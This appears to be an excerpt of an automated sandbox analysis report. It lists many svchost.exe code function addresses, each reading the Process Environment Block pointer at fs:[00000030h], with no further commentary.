Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F172 mov eax, dword ptr fs:[00000030h]	6_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC9179 mov eax, dword ptr fs:[00000030h]	6_2_03AC9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B05152 mov eax, dword ptr fs:[00000030h]	6_2_03B05152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC4144 mov eax, dword ptr fs:[00000030h]	6_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC4144 mov eax, dword ptr fs:[00000030h]	6_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC4144 mov ecx, dword ptr fs:[00000030h]	6_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC4144 mov eax, dword ptr fs:[00000030h]	6_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC4144 mov eax, dword ptr fs:[00000030h]	6_2_03AC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29148 mov eax, dword ptr fs:[00000030h]	6_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29148 mov eax, dword ptr fs:[00000030h]	6_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29148 mov eax, dword ptr fs:[00000030h]	6_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29148 mov eax, dword ptr fs:[00000030h]	6_2_03A29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A37152 mov eax, dword ptr fs:[00000030h]	6_2_03A37152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2C156 mov eax, dword ptr fs:[00000030h]	6_2_03A2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC8158 mov eax, dword ptr fs:[00000030h]	6_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A36154 mov eax, dword ptr fs:[00000030h]	6_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A36154 mov eax, dword ptr fs:[00000030h]	6_2_03A36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC80A8 mov eax, dword ptr fs:[00000030h]	6_2_03AC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF60B8 mov eax, dword ptr fs:[00000030h]	6_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF60B8 mov ecx, dword ptr fs:[00000030h]	6_2_03AF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3208A mov eax, dword ptr fs:[00000030h]	6_2_03A3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABD080 mov eax, dword ptr fs:[00000030h]	6_2_03ABD080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABD080 mov eax, dword ptr fs:[00000030h]	6_2_03ABD080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2D08D mov eax, dword ptr fs:[00000030h]	6_2_03A2D08D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A35096 mov eax, dword ptr fs:[00000030h]	6_2_03A35096
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5D090 mov eax, dword ptr fs:[00000030h]	6_2_03A5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5D090 mov eax, dword ptr fs:[00000030h]	6_2_03A5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6909C mov eax, dword ptr fs:[00000030h]	6_2_03A6909C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A550E4 mov eax, dword ptr fs:[00000030h]	6_2_03A550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A550E4 mov ecx, dword ptr fs:[00000030h]	6_2_03A550E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2A0E3 mov ecx, dword ptr fs:[00000030h]	6_2_03A2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A380E9 mov eax, dword ptr fs:[00000030h]	6_2_03A380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB60E0 mov eax, dword ptr fs:[00000030h]	6_2_03AB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2C0F0 mov eax, dword ptr fs:[00000030h]	6_2_03A2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A720F0 mov ecx, dword ptr fs:[00000030h]	6_2_03A720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov ecx, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A470C0 mov eax, dword ptr fs:[00000030h]	6_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B050D9 mov eax, dword ptr fs:[00000030h]	6_2_03B050D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAD0C0 mov eax, dword ptr fs:[00000030h]	6_2_03AAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAD0C0 mov eax, dword ptr fs:[00000030h]	6_2_03AAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB20DE mov eax, dword ptr fs:[00000030h]	6_2_03AB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A590DB mov eax, dword ptr fs:[00000030h]	6_2_03A590DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2A020 mov eax, dword ptr fs:[00000030h]	6_2_03A2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2C020 mov eax, dword ptr fs:[00000030h]	6_2_03A2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF903E mov eax, dword ptr fs:[00000030h]	6_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF903E mov eax, dword ptr fs:[00000030h]	6_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF903E mov eax, dword ptr fs:[00000030h]	6_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF903E mov eax, dword ptr fs:[00000030h]	6_2_03AF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB4000 mov ecx, dword ptr fs:[00000030h]	6_2_03AB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E016 mov eax, dword ptr fs:[00000030h]	6_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E016 mov eax, dword ptr fs:[00000030h]	6_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E016 mov eax, dword ptr fs:[00000030h]	6_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E016 mov eax, dword ptr fs:[00000030h]	6_2_03A4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB106E mov eax, dword ptr fs:[00000030h]	6_2_03AB106E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B05060 mov eax, dword ptr fs:[00000030h]	6_2_03B05060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov ecx, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A41070 mov eax, dword ptr fs:[00000030h]	6_2_03A41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5C073 mov eax, dword ptr fs:[00000030h]	6_2_03A5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAD070 mov ecx, dword ptr fs:[00000030h]	6_2_03AAD070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A32050 mov eax, dword ptr fs:[00000030h]	6_2_03A32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AD705E mov ebx, dword ptr fs:[00000030h]	6_2_03AD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AD705E mov eax, dword ptr fs:[00000030h]	6_2_03AD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5B052 mov eax, dword ptr fs:[00000030h]	6_2_03A5B052
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB6050 mov eax, dword ptr fs:[00000030h]	6_2_03AB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB97A9 mov eax, dword ptr fs:[00000030h]	6_2_03AB97A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	6_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	6_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	6_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	6_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03ABF7AF mov eax, dword ptr fs:[00000030h]	6_2_03ABF7AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B037B6 mov eax, dword ptr fs:[00000030h]	6_2_03B037B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A307AF mov eax, dword ptr fs:[00000030h]	6_2_03A307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5D7B0 mov eax, dword ptr fs:[00000030h]	6_2_03A5D7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2F7BA mov eax, dword ptr fs:[00000030h]	6_2_03A2F7BA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEF78A mov eax, dword ptr fs:[00000030h]	6_2_03AEF78A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3D7E0 mov ecx, dword ptr fs:[00000030h]	6_2_03A3D7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A527ED mov eax, dword ptr fs:[00000030h]	6_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A527ED mov eax, dword ptr fs:[00000030h]	6_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A527ED mov eax, dword ptr fs:[00000030h]	6_2_03A527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A347FB mov eax, dword ptr fs:[00000030h]	6_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A347FB mov eax, dword ptr fs:[00000030h]	6_2_03A347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3C7C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A357C0 mov eax, dword ptr fs:[00000030h]	6_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A357C0 mov eax, dword ptr fs:[00000030h]	6_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A357C0 mov eax, dword ptr fs:[00000030h]	6_2_03A357C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB07C3 mov eax, dword ptr fs:[00000030h]	6_2_03AB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEF72E mov eax, dword ptr fs:[00000030h]	6_2_03AEF72E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A33720 mov eax, dword ptr fs:[00000030h]	6_2_03A33720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4F720 mov eax, dword ptr fs:[00000030h]	6_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4F720 mov eax, dword ptr fs:[00000030h]	6_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4F720 mov eax, dword ptr fs:[00000030h]	6_2_03A4F720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF972B mov eax, dword ptr fs:[00000030h]	6_2_03AF972B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6C720 mov eax, dword ptr fs:[00000030h]	6_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6C720 mov eax, dword ptr fs:[00000030h]	6_2_03A6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B0B73C mov eax, dword ptr fs:[00000030h]	6_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B0B73C mov eax, dword ptr fs:[00000030h]	6_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B0B73C mov eax, dword ptr fs:[00000030h]	6_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B0B73C mov eax, dword ptr fs:[00000030h]	6_2_03B0B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29730 mov eax, dword ptr fs:[00000030h]	6_2_03A29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A29730 mov eax, dword ptr fs:[00000030h]	6_2_03A29730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A65734 mov eax, dword ptr fs:[00000030h]	6_2_03A65734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3973A mov eax, dword ptr fs:[00000030h]	6_2_03A3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3973A mov eax, dword ptr fs:[00000030h]	6_2_03A3973A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6273C mov eax, dword ptr fs:[00000030h]	6_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6273C mov ecx, dword ptr fs:[00000030h]	6_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6273C mov eax, dword ptr fs:[00000030h]	6_2_03A6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAC730 mov eax, dword ptr fs:[00000030h]	6_2_03AAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A37703 mov eax, dword ptr fs:[00000030h]	6_2_03A37703
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A35702 mov eax, dword ptr fs:[00000030h]	6_2_03A35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A35702 mov eax, dword ptr fs:[00000030h]	6_2_03A35702
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6C700 mov eax, dword ptr fs:[00000030h]	6_2_03A6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A30710 mov eax, dword ptr fs:[00000030h]	6_2_03A30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A60710 mov eax, dword ptr fs:[00000030h]	6_2_03A60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6F71F mov eax, dword ptr fs:[00000030h]	6_2_03A6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6F71F mov eax, dword ptr fs:[00000030h]	6_2_03A6F71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B765 mov eax, dword ptr fs:[00000030h]	6_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B765 mov eax, dword ptr fs:[00000030h]	6_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B765 mov eax, dword ptr fs:[00000030h]	6_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2B765 mov eax, dword ptr fs:[00000030h]	6_2_03A2B765
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A38770 mov eax, dword ptr fs:[00000030h]	6_2_03A38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A40770 mov eax, dword ptr fs:[00000030h]	6_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A43740 mov eax, dword ptr fs:[00000030h]	6_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A43740 mov eax, dword ptr fs:[00000030h]	6_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A43740 mov eax, dword ptr fs:[00000030h]	6_2_03A43740
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6674D mov esi, dword ptr fs:[00000030h]	6_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6674D mov eax, dword ptr fs:[00000030h]	6_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6674D mov eax, dword ptr fs:[00000030h]	6_2_03A6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A30750 mov eax, dword ptr fs:[00000030h]	6_2_03A30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72750 mov eax, dword ptr fs:[00000030h]	6_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A72750 mov eax, dword ptr fs:[00000030h]	6_2_03A72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B03749 mov eax, dword ptr fs:[00000030h]	6_2_03B03749
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB4755 mov eax, dword ptr fs:[00000030h]	6_2_03AB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6C6A6 mov eax, dword ptr fs:[00000030h]	6_2_03A6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2D6AA mov eax, dword ptr fs:[00000030h]	6_2_03A2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2D6AA mov eax, dword ptr fs:[00000030h]	6_2_03A2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A276B2 mov eax, dword ptr fs:[00000030h]	6_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A276B2 mov eax, dword ptr fs:[00000030h]	6_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A276B2 mov eax, dword ptr fs:[00000030h]	6_2_03A276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A666B0 mov eax, dword ptr fs:[00000030h]	6_2_03A666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB368C mov eax, dword ptr fs:[00000030h]	6_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB368C mov eax, dword ptr fs:[00000030h]	6_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB368C mov eax, dword ptr fs:[00000030h]	6_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB368C mov eax, dword ptr fs:[00000030h]	6_2_03AB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A34690 mov eax, dword ptr fs:[00000030h]	6_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A34690 mov eax, dword ptr fs:[00000030h]	6_2_03A34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC36EE mov eax, dword ptr fs:[00000030h]	6_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC36EE mov eax, dword ptr fs:[00000030h]	6_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC36EE mov eax, dword ptr fs:[00000030h]	6_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC36EE mov eax, dword ptr fs:[00000030h]	6_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC36EE mov eax, dword ptr fs:[00000030h]	6_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AC36EE mov eax, dword ptr fs:[00000030h]	6_2_03AC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5D6E0 mov eax, dword ptr fs:[00000030h]	6_2_03A5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5D6E0 mov eax, dword ptr fs:[00000030h]	6_2_03A5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A636EF mov eax, dword ptr fs:[00000030h]	6_2_03A636EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	6_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	6_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	6_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AAE6F2 mov eax, dword ptr fs:[00000030h]	6_2_03AAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	6_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB06F1 mov eax, dword ptr fs:[00000030h]	6_2_03AB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AED6F0 mov eax, dword ptr fs:[00000030h]	6_2_03AED6F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6A6C7 mov ebx, dword ptr fs:[00000030h]	6_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A6A6C7 mov eax, dword ptr fs:[00000030h]	6_2_03A6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3B6C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3B6C0
